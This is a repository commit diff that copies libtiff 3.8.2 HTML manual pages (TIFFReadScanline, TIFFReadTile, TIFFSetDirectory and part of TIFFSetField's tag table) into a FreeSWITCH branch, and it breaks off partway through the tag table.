+<td width="91%">
+<p>Read the data for the specified row into the (user
+supplied) data buffer <i>buf</i>. The data are returned
+decompressed and, in the native byte- and bit-ordering, but
+are otherwise packed (see further below). The buffer must be
+large enough to hold an entire scanline of data.
+Applications should call the routine <i>TIFFScanlineSize</i>
+to find out the size (in bytes) of a scanline buffer. The
+<i>row</i> parameter is always used by
+<i>TIFFReadScanline</i>; the <i>sample</i> parameter is used
+only if data are organized in separate planes
+(<i>PlanarConfiguration</i>=2).</p>
+</td>
+</table>
+<a name="NOTES"></a>
+<h2>NOTES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>The library attempts to hide bit- and byte-ordering
+differences between the image and the native machine by
+converting data to the native machine order. Bit reversal is
+done if the <i>FillOrder</i> tag is opposite to the native
+machine bit order. 16- and 32-bit samples are automatically
+byte-swapped if the file was written with a byte order
+opposite to the native machine byte order,</p>
+<!-- INDENTATION -->
+<p>In C++ the <i>sample</i> parameter defaults to 0.</p>
+</td>
+</table>
+<a name="RETURN VALUES"></a>
+<h2>RETURN VALUES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>TIFFReadScanline</i> returns &minus;1 if it detects an
+error; otherwise 1 is returned.</p>
+</td>
+</table>
+<a name="DIAGNOSTICS"></a>
+<h2>DIAGNOSTICS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>All error messages are directed to the
+<i>TIFFError</i>(3TIFF) routine.</p>
+<!-- INDENTATION -->
+<p><b>Compression algorithm does not support random
+access</b>. Data was requested in a non-sequential order
+from a file that uses a compression algorithm and that has
+<i>RowsPerStrip</i> greater than one. That is, data in the
+image is stored in a compressed form, and with multiple rows
+packed into a strip. In this case, the library does not
+support random access to the data. The data should either be
+accessed sequentially, or the file should be converted so
+that each strip is made up of one row of data.</p>
+</td>
+</table>
+<a name="BUGS"></a>
+<h2>BUGS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>Reading subsampled YCbCR data does not work correctly
+because, for <i>PlanarConfiguration</i>=2 the size of a
+scanline is not calculated on a per-sample basis, and for
+<i>PlanarConfiguration</i>=1 the library does not unpack the
+block-interleaved samples; use the strip- and tile-based
+interfaces to read these formats.</p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>TIFFOpen</b>(3TIFF),
+<b>TIFFReadEncodedStrip</b>(3TIFF),
+<b>TIFFReadRawStrip</b>(3TIFF), <b>libtiff</b>(3TIFF)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFReadTile.3tiff.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFReadTile.3tiff.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/TIFFReadTile.3tiff.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFReadTile.3tiff.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFReadTile.3tiff.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,133 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:10 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>TIFFReadTile</title>
+</head>
+<body>
+
+<h1 align=center>TIFFReadTile</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#NOTES">NOTES</a><br>
+<a href="#RETURN VALUES">RETURN VALUES</a><br>
+<a href="#DIAGNOSTICS">DIAGNOSTICS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>TIFFReadTile &minus; read and decode a tile of data from
+an open <small>TIFF</small> file</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>#include &lt;tiffio.h&gt;</b></p>
+<!-- INDENTATION -->
+<p><b>tsize_t TIFFReadTile(TIFF *</b><i>tif</i><b>,
+tdata_t</b> <i>buf</i><b>, uint32</b> <i>x</i><b>,
+uint32</b> <i>y</i><b>, uint32</b> <i>z</i><b>,
+tsample_t</b> <i>sample</i><b>)</b></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>Return the data for the tile <i>containing</i> the
+specified coordinates. The data placed in <i>buf</i> are
+returned decompressed and, typically, in the native byte-
+and bit-ordering, but are otherwise packed (see further
+below). The buffer must be large enough to hold an entire
+tile of data. Applications should call the routine
+<i>TIFFTileSize</i> to find out the size (in bytes) of a
+tile buffer. The <i>x</i> and <i>y</i> parameters are always
+used by <i>TIFFReadTile</i>. The <i>z</i> parameter is used
+if the image is deeper than 1 slice
+(<i>ImageDepth</i>&gt;1). The <i>sample</i> parameter is
+used only if data are organized in separate planes
+(<i>PlanarConfiguration</i>=2).</p>
+</td>
+</table>
+<a name="NOTES"></a>
+<h2>NOTES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>The library attempts to hide bit- and byte-ordering
+differences between the image and the native machine by
+converting data to the native machine order. Bit reversal is
+done if the <i>FillOrder</i> tag is opposite to the native
+machine bit order. 16- and 32-bit samples are automatically
+byte-swapped if the file was written with a byte order
+opposite to the native machine byte order,</p>
+</td>
+</table>
+<a name="RETURN VALUES"></a>
+<h2>RETURN VALUES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>TIFFReadTile</i> returns &minus;1 if it detects an
+error; otherwise the number of bytes in the decoded tile is
+returned.</p>
+</td>
+</table>
+<a name="DIAGNOSTICS"></a>
+<h2>DIAGNOSTICS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>All error messages are directed to the
+<b>TIFFError</b>(3TIFF) routine.</p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>TIFFCheckTile</b>(3TIFF),
+<b>TIFFComputeTile</b>(3TIFF), <b>TIFFOpen</b>(3TIFF),
+<b>TIFFReadEncodedTile</b>(3TIFF),
+<b>TIFFReadRawTile</b>(3TIFF), <b>libtiff</b>(3TIFF)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFSetDirectory.3tiff.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFSetDirectory.3tiff.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/TIFFSetDirectory.3tiff.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFSetDirectory.3tiff.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFSetDirectory.3tiff.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,122 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:10 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>TIFFSetDirectory</title>
+</head>
+<body>
+
+<h1 align=center>TIFFSetDirectory</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#RETURN VALUES">RETURN VALUES</a><br>
+<a href="#DIAGNOSTICS">DIAGNOSTICS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>TIFFSetDirectory, TIFFSetSubDirectory &minus; set the
+current directory for an open <small>TIFF</small> file</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>#include &lt;tiffio.h&gt;</b></p>
+<!-- INDENTATION -->
+<p><b>int TIFFSetDirectory(TIFF *</b><i>tif</i><b>,
+tdir_t</b> <i>dirnum</i><b>)<br>
+int TIFFSetSubDirectory(TIFF *</b><i>tif</i><b>, uint32</b>
+<i>diroff</i><b>)</b></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>TIFFSetDirectory</i> changes the current directory and
+reads its contents with <i>TIFFReadDirectory</i>. The
+parameter <i>dirnum</i> specifies the subfile/directory as
+an integer number, with the first directory numbered
+zero.</p>
+<!-- INDENTATION -->
+<p><i>TIFFSetSubDirectory</i> acts like
+<i>TIFFSetDirectory</i>, except the directory is specified
+as a file offset instead of an index; this is required for
+accessing subdirectories linked through a <i>SubIFD</i>
+tag.</p>
+</td>
+</table>
+<a name="RETURN VALUES"></a>
+<h2>RETURN VALUES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>On successful return 1 is returned. Otherwise, 0 is
+returned if <i>dirnum</i> or <i>diroff</i> specifies a
+non-existent directory, or if an error was encountered while
+reading the directory&rsquo;s contents.</p>
+</td>
+</table>
+<a name="DIAGNOSTICS"></a>
+<h2>DIAGNOSTICS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>All error messages are directed to the
+<i>TIFFError</i>(3TIFF) routine.</p>
+<!-- INDENTATION -->
+<p><b>%s: Error fetching directory count</b>. An error was
+encountered while reading the &lsquo;&lsquo;directory
+count&rsquo;&rsquo; field.</p>
+<!-- INDENTATION -->
+<p><b>%s: Error fetching directory link</b>. An error was
+encountered while reading the &lsquo;&lsquo;link
+value&rsquo;&rsquo; that points to the next directory in a
+file.</p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>TIFFCurrentDirectory</i>(3TIFF),
+<i>TIFFOpen</i>(3TIFF), <i>TIFFReadDirectory</i>(3TIFF),
+<i>TIFFWriteDirectory</i>(3TIFF), <i>libtiff</i>(3TIFF)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFSetField.3tiff.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFSetField.3tiff.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/TIFFSetField.3tiff.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFSetField.3tiff.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFSetField.3tiff.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,1362 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:10 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>TIFFSetField</title>
+</head>
+<body>
+
+<h1 align=center>TIFFSetField</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#RETURN VALUES">RETURN VALUES</a><br>
+<a href="#DIAGNOSTICS">DIAGNOSTICS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>TIFFSetField, TIFFVSetField &minus; set the value(s) of a
+tag in a <small>TIFF</small> file open for writing</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>#include &lt;tiffio.h&gt;</b></p>
+<!-- INDENTATION -->
+<p><b>int TIFFSetField(TIFF *</b><i>tif</i><b>, ttag_t</b>
+<i>tag</i><b>,</b> <i>...</i><b>)</b></p>
+<!-- INDENTATION -->
+<p><b>#include &lt;stdarg.h&gt;</b></p>
+<!-- INDENTATION -->
+<p><b>int TIFFVSetField(TIFF *</b><i>tif</i><b>, ttag_t</b>
+<i>tag</i><b>, va_list</b> <i>ap</i><b>)</b></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>TIFFSetField</i> sets the value of a field or
+pseudo-tag in the current directory associated with the open
+<small>TIFF</small> file <i>tif</i>. (A <i>pseudo-tag</i> is
+a parameter that is used to control the operation of the
+<small>TIFF</small> library but whose value is not read or
+written to the underlying file.) To set the value of a field
+the file must have been previously opened for writing with
+<i>TIFFOpen</i>(3TIFF); pseudo-tags can be set whether the
+file was opened for reading or writing. The field is
+identified by <i>tag</i>, one of the values defined in the
+include file <b>tiff.h</b> (see also the table below). The
+actual value is specified using a variable argument list, as
+prescribed by the <i>stdarg</i>(3) interface (or, on some
+machines, the <i>varargs</i>(3) interface.)</p>
+<!-- INDENTATION -->
+<p><i>TIFFVSetField</i> is functionally equivalent to
+<i>TIFFSetField</i> except that it takes a pointer to a
+variable argument list. <i>TIFFVSetField</i> is useful for
+writing routines that are layered on top of the
+functionality provided by <i>TIFFSetField</i>.</p>
+<!-- INDENTATION -->
+<p>The tags understood by <i>libtiff</i>, the number of
+parameter values, and the expected types for the parameter
+values are shown below. The data types are: <i>char*</i> is
+null-terminated string and corresponds to the
+<small>ASCII</small> data type; <i>uint16</i> is an unsigned
+16-bit value; <i>uint32</i> is an unsigned 32-bit value;
+<i>uint16*</i> is an array of unsigned 16-bit values.
+<i>void*</i> is an array of data values of unspecified
+type.</p>
+<!-- INDENTATION -->
+<p>Consult the <small>TIFF</small> specification for
+information on the meaning of each tag.</p></td>
+</table>
+<!-- TABS -->
+
+<p><i>Tag Name Count Types Notes</i></p>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_ARTIST</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>char*</p>
+</td>
+<td width="16%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_BADFAXLINES</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>uint32</p>
+</td>
+<td width="16%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_BITSPERSAMPLE</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>uint16</p>
+</td>
+<td width="16%">
+
+<p>&dagger;</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_CLEANFAXDATA</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>uint16</p>
+</td>
+<td width="16%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_COLORMAP</p>
+</td>
+<td width="8%">
+
+<p>3</p>
+</td>
+<td width="24%">
+
+<p>uint16*</p>
+</td>
+<td width="16%">
+
+<p>1&lt;&lt;BitsPerSample arrays</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_COMPRESSION</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>uint16</p>
+</td>
+<td width="16%">
+
+<p>&dagger;</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_CONSECUTIVEBADFAXLINES</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>uint32</p>
+</td>
+<td width="16%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_COPYRIGHT</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>char*</p>
+</td>
+<td width="16%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_DATETIME</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>char*</p>
+</td>
+<td width="16%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_DOCUMENTNAME</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>char*</p>
+</td>
+<td width="16%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_DOTRANGE</p>
+</td>
+<td width="8%">
+
+<p>2</p>
+</td>
+<td width="24%">
+
+<p>uint16</p>
+</td>
+<td width="16%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_EXTRASAMPLES</p>
+</td>
+<td width="8%">
+
+<p>2</p>
+</td>
+<td width="24%">
+
+<p>uint16,uint16*</p>
+</td>
+<td width="16%">
+
+<p>&dagger; count &amp; types array</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_FAXFILLFUNC</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>TIFFFaxFillFunc</p>
+</td>
+<td width="16%">
+
+<p>G3/G4 compression pseudo-tag</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_FAXMODE</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>int</p>
+</td>
+<td width="16%">
+
+<p>&dagger; G3/G4 compression pseudo-tag</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_FILLORDER</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>uint16</p>
+</td>
+<td width="16%">
+
+<p>&dagger;</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_GROUP3OPTIONS</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>uint32</p>
+</td>
+<td width="16%">
+
+<p>&dagger;</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_GROUP4OPTIONS</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>uint32</p>
+</td>
+<td width="16%">
+
+<p>&dagger;</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_HALFTONEHINTS</p>
+</td>
+<td width="8%">
+
+<p>2</p>
+</td>
+<td width="24%">
+
+<p>uint16</p>
+</td>
+<td width="16%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_HOSTCOMPUTER</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>char*</p>
+</td>
+<td width="16%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_ICCPROFILE</p>
+</td>
+<td width="8%">
+
+<p>2</p>
+</td>
+<td width="24%">
+
+<p>uint32,void*</p>
+</td>
+<td width="16%">
+
+<p>count, profile data</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_IMAGEDEPTH</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>uint32</p>
+</td>
+<td width="16%">
+
+<p>&dagger;</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_IMAGEDESCRIPTION</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>char*</p>
+</td>
+<td width="16%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_IMAGELENGTH</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>uint32</p>
+</td>
+<td width="16%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_IMAGEWIDTH</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>uint32</p>
+</td>
+<td width="16%">
+
+<p>&dagger;</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_INKNAMES</p>
+</td>
+<td width="8%">
+
+<p>2</p>
+</td>
+<td width="24%">
+
+<p>uint16, char*</p>
+</td>
+<td width="16%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_INKSET</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>uint16</p>
+</td>
+<td width="16%">
+
+<p>&dagger;</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_JPEGCOLORMODE</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>int</p>
+</td>
+<td width="16%">
+
+<p>&dagger; JPEG pseudo-tag</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_JPEGQUALITY</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>int</p>
+</td>
+<td width="16%">
+
+<p>JPEG pseudo-tag</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_JPEGTABLES</p>
+</td>
+<td width="8%">
+
+<p>2</p>
+</td>
+<td width="24%">
+
+<p>uint32*,void*</p>
+</td>
+<td width="16%">
+
+<p>&dagger; count &amp; tables</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_JPEGTABLESMODE</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>int</p>
+</td>
+<td width="16%">
+
+<p>&dagger; JPEG pseudo-tag</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_MAKE</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>char*</p>
+</td>
+<td width="16%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_MATTEING</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>uint16</p>
+</td>
+<td width="16%">
+
+<p>&dagger;</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_MAXSAMPLEVALUE</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>uint16</p>
+</td>
+<td width="16%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_MINSAMPLEVALUE</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>uint16</p>
+</td>
+<td width="16%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_MODEL</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>char*</p>
+</td>
+<td width="16%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_ORIENTATION</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>uint16</p>
+</td>
+<td width="16%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_PAGENAME</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>char*</p>
+</td>
+<td width="16%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_PAGENUMBER</p>
+</td>
+<td width="8%">
+
+<p>2</p>
+</td>
+<td width="24%">
+
+<p>uint16</p>
+</td>
+<td width="16%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_PHOTOMETRIC</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>uint16</p>
+</td>
+<td width="16%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_PHOTOSHOP</p>
+</td>
+<td width="8%">
+
+<p>?</p>
+</td>
+<td width="24%">
+
+<p>uint32,void*</p>
+</td>
+<td width="16%">
+
+<p>count, data</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_PLANARCONFIG</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>uint16</p>
+</td>
+<td width="16%">
+
+<p>&dagger;</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_PREDICTOR</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
+<p>uint16</p>
+</td>
+<td width="16%">
+
+<p>&dagger;</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_PRIMARYCHROMATICITIES</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="24%">
+
